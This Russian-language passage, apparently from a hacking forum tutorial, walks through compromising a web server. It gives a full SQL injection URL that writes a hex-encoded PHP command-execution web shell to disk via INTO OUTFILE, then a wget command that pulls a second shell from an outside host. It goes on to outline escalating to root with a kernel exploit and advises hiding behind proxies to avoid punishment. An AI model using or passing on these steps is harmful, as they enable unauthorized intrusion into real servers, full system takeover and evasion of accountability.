3) Root MySQL – если не фильтруется кавычка, то можно залить шелл при помощи запроса _http://www.xxx.com/index.php?id=-1+union+select+1,2,3,4,5,6,7,8, 0x3C3F2073797374656D28245F4745545B2763275D293B203F 3E,10,11,12,13,14,15,16+FROM+mysql.user+INTO+OUTFI LE+’/home/www/shell.php’/*, где 0x3C3F2073797374656D28245F4745545B2763275D293B203F 3E – это закодированное выражение <? system($_GET[‘c’]); ?>, позволяющее выполнять команды на сервере. Далее заливаем более удобный для работы шелл командой _http://www.xxx.com?c=wget -O shell.php _http://vasiliy.narod.ru/shell.php.
[U]Глава 2. Руууут.[/u]
Залив шелл мы теперь можем выполнять команды на сервере, а первой командой будет id, которая показывает ваши права в системе, а они обычно скромные. Хочется большего, тогда смотрим, что за ОС стоит на сервере(команда uname –a). Под эту версию ищем сплойт на сайте , компилируем, запускаем(как это делать описано либо в начале самого сплойта, либо в статьях) и… руууууут! Цель достигнута.
Часть 4. ОБЕЗОПАСИЛИСЬ ЛИ?
Каждое преступление наказуемо, поэтому надо заранее себя обезопасить – проксики должны стать вашими лучшими друзьями…
forum.uinsell.net
